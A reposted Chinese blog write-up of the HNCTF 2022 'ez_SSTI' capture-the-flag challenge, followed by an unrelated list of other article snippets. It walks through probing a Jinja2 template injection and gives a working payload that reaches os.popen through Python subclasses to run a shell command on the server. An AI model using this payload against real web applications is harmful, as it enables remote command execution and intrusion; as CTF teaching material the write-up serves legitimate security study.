[HNCTF 2022 WEEK2]ez_SSTI

news/2024/9/19 7:03:50/文章来源:https://www.cnblogs.com/evo-lution/p/18300262

[HNCTF 2022 WEEK2]ez_SSTI

payload:?name={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

1.首先输入{{8*8}}判断漏洞类型

2.然后输入{{''.__class__}}判断当前对象所属的类可以发现为str,因为此处使用的是{{''.__class__}}若使用的是{{''.__class__}}则当前类为tuple

3.再输入{{''.__class__.__base__}}查看当前类对应的父类是否为object

4.输入{{''.__class__.__base__.__subclasses__()}}查看object类的所有子类

5.调用os._wrap_close模块,可以发现此时它的下标为137

6.调用__init__函数,判断模块是否重载

没有出现wrapper字样,所以没有出现重载

7.使用__globals__函数查看全局变量,判断有哪些模块可以调用

可以看到有如下模块可供调用

9.?name={{''.__class__.__base__.__subclasses__()[137].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat flag").read()')}}

__builtins__提供对python的所有内置标识符的直接访问

eval()计算字符串表达式的值

popen()执行一个shell以命令来开启一个进程

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/743147.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【操作系统原理】第六章课后习题

前言课本: 操作系统原理(第五版)[费翔林,骆斌编著] 习题: 主要习题内容是第一章到第六章,具体内容如下表章节 内容 链接第一章 思考题1,3,7、应用题7,12(1)~(4) https://blog.csdn.net/Zchengjisihan/article/details/136493304?spm=1001.2014.3001.5501第二章 思考题…

【操作系统原理】第一章课后习题

前言课本: 操作系统原理(第五版)[费翔林,骆斌编著] 习题: 主要习题内容是第一章到第六章,具体内容如下表章节 内容 链接第一章 思考题1,3,7、应用题7,12(1)~(4) https://blog.csdn.net/Zchengjisihan/article/details/136493304?spm=1001.2014.3001.5501第二章 思考题…

【操作系统原理】第二章课后习题

前言课本: 操作系统原理(第五版)[费翔林,骆斌编著] 习题: 主要习题内容是第一章到第六章,具体内容如下表章节 内容 链接第一章 思考题1,3,7、应用题7,12(1)~(4) https://blog.csdn.net/Zchengjisihan/article/details/136493304?spm=1001.2014.3001.5501第二章 思考题…

【操作系统原理】第三章课后习题

前言课本: 操作系统原理(第五版)[费翔林,骆斌编著] 习题: 主要习题内容是第一章到第六章,具体内容如下表章节 内容 链接第一章 思考题1,3,7、应用题7,12(1)~(4) https://blog.csdn.net/Zchengjisihan/article/details/136493304?spm=1001.2014.3001.5501第二章 思考题…

8、Oracle中的创建和管理表

最近项目要用到Oracle,奈何之前没有使用过,所以在B站上面找了一个学习视频,用于记录学习过程以及自己的思考。 视频链接: 【尚硅谷】Oracle数据库全套教程,oracle从安装到实战应用 如果有侵权,请联系删除,谢谢。学习目标:描述主要的数据库对象 创建表 描述各种数据类型…

ubuntu 快速回到桌面

如下设置快捷键为 Super + D,

TCP三次握手的意外情况分析

> 其实很简单,就像我个人给别人发信息一样,有个重传机制,毕竟对方可能突然有事忘看了,或者说看完了忘了回,所以我本人会重传,那么接下来就以聊天的角度来给大家解析一下TCP三次握手时的意外情况以及应对方针注文中的大部分知识非我原创,我只是知识的搬运工,并且尝试搬运进脑…

MBR20200FCT-ASEMI无人机专用MBR20200FCT

MBR20200FCT-ASEMI无人机专用MBR20200FCT编辑:ll MBR20200FCT-ASEMI无人机专用MBR20200FCT 型号:MBR20200FCT 品牌:ASEMI 封装:TO-220F 批号:最新 最大平均正向电流(IF):20A 最大循环峰值反向电压(VRRM):200V 最大正向电压(VF):0..90V 工作温度:-50C~175C 反向恢…

fiddler笔记

fiddler汉化 只抓取指定浏览器的包

CDN在App分发中的作用

CDN(Content Delivery Network,内容分发网络)在App分发中扮演着至关重要的角色。它通过一系列技术手段,将App的内容高效、快速地传递给用户,显著提升用户体验和下载速度。以下是CDN在App分发中的具体作用和优势: 一、CDN在App分发中的作用提升下载速度:CDN分发系统能够将…

配置文件的编写

1. 在application.yml里面配置需要的参数 2. pom.xml文件引入配置文件依赖<!-- 配置生成配置文件处理器--><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-configuration-processor</artifactId><op…